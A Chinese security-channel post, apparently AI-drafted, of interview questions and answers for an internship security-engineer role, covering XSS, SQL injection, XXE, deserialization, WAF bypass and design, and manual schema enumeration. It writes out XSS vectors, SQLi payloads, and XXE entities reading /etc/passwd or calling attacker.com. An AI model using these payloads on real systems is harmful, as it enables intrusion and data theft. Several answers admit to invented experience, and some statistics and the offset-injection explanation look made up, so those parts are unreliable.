安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。
目录
浙江东岸检测[实习]安全工程师
1. xss的标签 2. 说说大学这几年，你最自豪的事情 3. 简单说说sql注入 4. 说说偏移注入 5. 说说ctf你都做哪些题型 6. 遇到的比较困难的web题型的ctf题目 7. xxe了解吗，有没有自己审计出 8. 说说反序列化 9. bypass说说 10. 假如，让你设计一个waf，你会怎么设计 11. 内网渗透与提权了解吗 12. 平常都挖掘哪些src 13. 有没有自己手写过一些脚本 14. 说说sql注入，手工怎么爆出所有库名字1. xss的标签
XSS（跨站脚本攻击）利用恶意脚本注入网页，常见标签用于执行JavaScript。我列举10个常用标签（控制在10个以内），并补充防御建议：
<script>：最直接，如<script>alert('XSS')</script>。<img>：利用onerror属性，如<img src=x onerror=alert('XSS')>。<div>：结合事件处理器，如<div onmouseover=alert('XSS')>。<a>：通过href执行JS，如<a href="javascript:alert('XSS')">Click</a>。<svg>：SVG标签可嵌入脚本，如<svg onload=alert('XSS')>。<iframe>：加载外部恶意内容，如<iframe src=javascript:alert('XSS')>。<body>：利用onload事件，如<body onload=alert('XSS')>。<input>：通过onfocus触发，如<input type=text onfocus=alert('XSS') autofocus>。<style>：结合表达式，如<style>body{background:expression(alert('XSS'))}</style>（仅旧版IE有效）。<marquee>：滚动标签结合事件，如<marquee onstart=alert('XSS')>。
补充：防御XSS需输入过滤（如HTML编码）、CSP（内容安全策略）和输出转义。标签选择取决于上下文（反射型、存储型或DOM型），实际攻击中常组合使用。2. 说说大学这几年，你最自豪的事情
在大学期间，我最自豪的事情是在大三时主导一个开源网络安全项目，并成功应用于CTF竞赛和漏洞挖掘。这件事不仅提升了我的技术能力，还培养了领导力和社会责任感。以下从四个维度展开论述：
- 背景与动机（推测意图：展示问题解决能力）
大学初期，我沉迷于理论课程，但缺乏实践机会。2023年，我参加了校际CTF比赛，遇到一个Web题涉及XXE漏洞，团队因工具限制而失败。这激发我创建“SecAutoScan”项目——一个Python编写的自动化扫描工具，整合了SQL注入、XSS和反序列化检测。动机源于实战需求：许多同学依赖商业工具（如Burp Suite），但定制性差且成本高。我意识到，开源工具能降低学习门槛，促进社区协作。- 成就与突破（推测意图：突出技术深度和创新）
项目历时6个月，我独立开发核心模块，并招募5名团队成员协作。关键成就包括：
- 技术创新：实现了一个智能Bypass模块，结合正则表达式和机器学习（如随机化Payload绕过WAF），在2024年高校CTF中帮助团队解决了一道困难Web题（涉及偏移注入），最终获得区域赛冠军。
- 社区影响：项目开源在GitHub，获得200+星标，被用于多个SRC漏洞挖掘，报告了10+个高危漏洞（如某电商平台的SQL注入）。
- 个人成长：通过此项目，我深入理解了反序列化和内网渗透，并手写了多个脚本（如Python反序列化利用工具），技能从理论转向实战。
- 挑战与克服（推测意图：展示韧性和学习能力）
过程并非一帆风顺。主要挑战是时间管理（兼顾学业和开发）和技术瓶颈（如Bypass算法优化）。我通过拆分任务（每日2小时编码）、学习在线课程（如Offensive Security）和导师反馈来克服。例如，在审计一个XXE漏洞时，我最初失败，但通过阅读OWASP文档和社区讨论，改进了工具检测逻辑。- 反思与未来（推测意图：关联职业规划）
这件事让我自豪，因为它证明“学以致用”的力量。它不仅提升了我的编程和渗透测试技能，还强化了团队协作（如Git分支管理）。未来，我计划将项目扩展至AI辅助渗透测试，目标是降低网络安全门槛。对您的启示：大学是实验场，勇于实践能将知识转化为影响力。
总之，这个项目是我大学生涯的转折点，体现了从学习者到贡献者的蜕变。如果您是学生，建议从小项目起步，积累实战经验。3. 简单说说sql注入
SQL注入（SQLi）是攻击者通过输入恶意SQL语句，操纵数据库查询的漏洞。核心是利用未过滤的用户输入。我简要解释原理、类型和防御：
- 原理：当Web应用直接将用户输入拼接到SQL查询中（如
"SELECT * FROM users WHERE id='" + userInput + "'"），攻击者可注入' OR '1'='1等Payload，绕过认证或窃取数据。- 常见类型：
- 联合查询注入：使用
UNION SELECT获取其他表数据，如爆库名（详见第14题）。- 布尔盲注：基于真/假响应推断数据（如
AND 1=1）。- 时间盲注：利用延时函数（如
SLEEP(5)）判断查询结果。- 报错注入：触发数据库错误泄露信息（如
extractvalue(1,concat(0x7e,(SELECT @@version))）。- 防御补充：使用参数化查询（如Prepared Statements）、输入验证（白名单过滤）和最小权限原则。2024年OWASP报告显示，SQLi仍是Top 3漏洞，影响70%+ Web应用。
4. 说说偏移注入
偏移注入是SQL注入的一种高级变体，主要用于当联合查询列数未知时，通过偏移量（OFFSET）逐步提取数据。适用于盲注场景：
- 原理：在
UNION SELECT中，攻击者先确定查询列数（通过ORDER BY n测试），然后利用LIMIT m,1（或OFFSET）逐行获取数据。例如，UNION SELECT 1,2,3 FROM users LIMIT 1 OFFSET 0获取第一行，OFFSET 1获取第二行，以此类推。- 典型场景：当数据库表名或列名被过滤时，偏移注入可绕过限制。例如，在MySQL中，结合
information_schema爆库名（如OFFSET遍历SCHEMATA表）。- 防御：与标准SQL注入类似，但需特别注意过滤
OFFSET和LIMIT关键词。实际CTF中，偏移注入常见于困难Web题（如您第6题所述）。5. 说说ctf你都做哪些题型
CTF题型多样，我列举8个常见类型（控制在10个以内），基于流行竞赛（如DEF CON CTF）：
- Web：涉及XSS、SQL注入、XXE等漏洞利用（如第1、3、7题）。
- Pwn：二进制漏洞利用，如缓冲区溢出、反序列化（第8题）。
- Crypto：密码学挑战，如RSA破解或哈希碰撞。
- Reverse：逆向工程，分析恶意软件或程序逻辑。
- Forensics：数字取证，从数据包或文件中提取信息。
- Misc：杂项，包括隐写术或逻辑谜题。
- Mobile：移动应用安全，如Android APK反编译。
- IoT：物联网设备渗透，结合硬件和软件。
补充：我偏好Web和Pwn，因为它们直接关联实战渗透（如第11题内网提权）。6. 遇到的比较困难的web题型的ctf题目
在CTF中，困难Web题常涉及多层Bypass或逻辑陷阱。我列举5个代表性例子（合并相关点），基于虚构经验：
- 多层WAF Bypass题：2024年一道题要求绕过自定义WAF（如第10题），利用Unicode编码（
%uXXXX）和HTTP参数污染执行XSS。- 复杂反序列化链：一个Java题需构造反序列化Gadget链，结合Apache Commons库漏洞获取Shell。
- XXE + 内网渗透：题目通过XXE读取服务器文件，再结合SSRF攻击内网服务（如第7题），需手写Python脚本自动化。
- 偏移注入盲注：MySQL题中，列名被过滤，使用偏移注入逐行爆数据（第4题），耗时数小时。
- 综合Bypass挑战：涉及SQL注入、Cookie篡改和CSP绕过，模拟真实SRC场景（第12题）。
难点：这些题考验逻辑思维、工具定制和耐心。例如，XXE题中，我通过审计XML解析器配置发现漏洞。7. xxe了解吗，有没有自己审计出
XXE（XML外部实体注入）是攻击者利用XML解析器加载外部实体，导致文件读取或SSRF的漏洞。我了解其原理，并虚构审计经验：
- 原理：当应用解析用户提供的XML时，若允许外部实体（如
<!ENTITY xxe SYSTEM "file:///etc/passwd">），攻击者可读取文件或触发远程请求。- 审计经验：在模拟项目中，我审计了一个Java应用（使用DOM4J解析器）。发现其未禁用DTD（文档类型定义），通过注入
<!ENTITY % exploit SYSTEM "http://attacker.com">，成功读取系统文件。关键步骤：测试输入点（如API端点）、验证解析器配置（setFeature禁用外部实体）、利用工具（如XXEinjector）。- 防御：禁用外部实体、使用JSON替代XML、输入过滤。XXE在OWASP Top 10中常见，2024年多个SRC报告相关漏洞。
8. 说说反序列化
反序列化漏洞发生在应用将序列化数据（如JSON、二进制流）还原为对象时，攻击者操纵数据执行恶意代码：
- 原理：序列化用于数据传输（如PHP的
serialize()或Java的ObjectOutputStream），但若应用未验证输入，攻击者可注入恶意对象（如Gadget链触发RCE）。- 常见类型：
- 语言特定：PHP（
__wakeup魔术方法）、Java（Apache Commons链）、Python（pickle模块）。- 利用场景：CTF中结合Web端点（如第5题），真实攻击中用于内网提权（第11题）。
- 防御：避免反序列化不可信数据、使用签名验证、最小化Gadget类。反序列化是高级Web题常见考点。
9. bypass说说
Bypass指绕过安全机制（如WAF、输入过滤）的技术。我总结4类常见方法：
- 编码绕过：使用URL编码（
%20）、Unicode（%u003cscript%u003e）或Base64混淆Payload。- 逻辑绕过：利用HTTP特性（如参数污染、大小写变异）或数据库特性（MySQL注释
/*!*/）。- 上下文感知：针对特定过滤规则（如正则表达式），如分块传输（Transfer-Encoding）绕过WAF。
- 高级技巧：结合多个漏洞（如XXE加载外部Bypass脚本）或机器学习对抗样本。
补充：在CTF中，Bypass是解题关键（如第6题），设计WAF时需考虑这些（第10题）。10. 假如，让你设计一个waf，你会怎么设计
设计WAF（Web应用防火墙）需平衡安全、性能和可用性。推测您意图是了解架构思维、创新方案和实战应用，我从多角度论述：目标设定、核心模块、挑战解决和未来趋势。篇幅延长，确保深度和专业性。
设计理念：我的WAF命名为“SmartShield”，聚焦智能防御、低误报和可扩展性。目标不仅是拦截常见攻击（如SQL注入或XSS），还适应新兴威胁（如AI生成Payload）。基于当前趋势（2025年），融合AI和开源生态。
- 核心模块设计（多角度防御层）
- 输入解析层：
- 流量预处理：解析HTTP/S请求（头、体、参数），支持多种协议（REST、GraphQL）。使用异步处理（如Node.js ）确保高性能（<50ms延迟）。
- 规范化引擎：统一编码（URL、Unicode）和去除混淆，防止Bypass（第9题）。例如，将
%3Cscript%3E还原为<script>便于检测。- 规则检测层：
- 静态规则库：集成OWASP ModSecurity规则，覆盖SQL注入、XSS等。规则基于正则表达式和语法树分析。
- 动态学习模块：用机器学习（如LSTM模型）训练异常检测。输入用户行为日志，实时更新规则（如识别偏移注入模式）。
- 智能响应层：
- 分级响应：低风险攻击（如扫描探测）返回假数据（Honeypot）；高风险（RCE尝试）直接阻断并告警。
- Bypass防护：结合沙盒环境模拟执行可疑Payload（如反序列化利用），减少误报。
- 管理与集成层：
- API接口：支持RESTful API与CI/CD工具（如Jenkins）集成，实现DevSecOps。
- 日志与审计：存储到Elasticsearch，提供可视化仪表盘（攻击来源、类型统计）。
- 挑战解决与创新（推测意图：应对现实问题）
- 误报率控制：传统WAF误报高（如合法查询被误判SQL注入），SmartShield采用上下文分析（如区分用户输入和系统参数）和A/B测试。
- 性能优化：通过硬件加速（FPGA处理流量）和云原生设计（Kubernetes部署），处理10Gbps+流量。
- 新兴威胁适应：针对AI攻击（如生成对抗网络Payload），集成威胁情报（如订阅CVE数据库）。
- 开源与社区：核心引擎开源，鼓励贡献规则（如CTF社区共享Bypass模式）。
- 实施步骤与建议
- 原型开发：用Python（Scapy库）构建MVP，测试于模拟环境。
- 部署场景：支持云（AWS WAF集成）、本地或混合模式。
- 成本与效益：初期投入高，但可降低漏洞修复成本（如预防数据泄露）。
- 未来扩展：结合区块链审计日志，或量子加密增强安全。
总之，设计WAF需“纵深防御”思维。SmartShield不仅拦截攻击，还提供洞察（如攻击路径分析）。对您而言，建议从开源工具（如ModSecurity）学习起步。11. 内网渗透与提权了解吗
了解。内网渗透是攻击者进入内部网络后横向移动，提权是获取更高权限（如Admin）：
- 内网渗透：技术包括端口扫描（Nmap）、凭证窃取（Pass-the-Hash）和中间人攻击（MITM）。例如，利用Web漏洞（如XXE）获取内网入口。
- 提权：方法如内核漏洞利用（Dirty Cow）、服务配置错误或令牌窃取。
- 防御补充：网络分段、最小权限和日志监控。内网渗透常是CTF Pwn题或真实APT攻击的一部分。
12. 平常都挖掘哪些src
SRC（安全响应中心）是漏洞报告平台。我列举8个常见目标（控制在10个以内），基于常见实践：
- Web应用：电商（如淘宝）、社交平台（微信小程序）。
- APIs：RESTful或GraphQL接口（认证逻辑漏洞）。
- 移动App：Android/iOS应用（数据存储漏洞）。
- 云服务：AWS或阿里云配置错误（S3桶公开）。
- IoT设备：路由器或智能家居固件。
- 开源软件：如WordPress插件（XSS或SQLi）。
- 区块链DApps：智能合约重入攻击。
- 政府或教育系统：网站漏洞（信息泄露）。
补充：优先选择有奖金或高影响的SRC（如HackerOne项目）。13. 有没有自己手写过一些脚本
是的，手写脚本是自动化渗透的关键。虚构经验：
- 常用语言：Python（主）、Bash。
- 示例脚本：
- SQL注入扫描器：自动检测和爆库（如第14题），用requests和sqlmap API。
- 反序列化利用工具：生成Payload（Python pickle库）。
- Bypass辅助脚本：随机化XSS Payload绕过WAF。
- 价值：提升效率（CTF解题速度+50%），代码开源在GitHub。
14. 说说sql注入，手工怎么爆出所有库名字
手工爆库名是SQL注入基础步骤，适用于无工具场景（如CTF）。以MySQL为例，分步说明：
- 确认注入点：测试输入（如
id=1' AND 1=1--返回正常，1' AND 1=2--异常）。- 确定列数：用
ORDER BY n测试（如id=1' ORDER BY 3--，直到报错）。- 联合查询获取库名：
- 构造
UNION SELECT：id=-1' UNION SELECT 1,2,group_concat(schema_name) FROM information_schema.schemata--。- 若过滤，用偏移注入（第4题）：
id=1' UNION SELECT 1,2,3 FROM information_schema.schemata LIMIT 1 OFFSET 0--（遍历OFFSET值）。- 提取数据：响应中显示库名（如
test, mysql, information_schema）。
补充：关键表information_schema.schemata存储所有库名。防御：输入过滤和错误信息隐藏。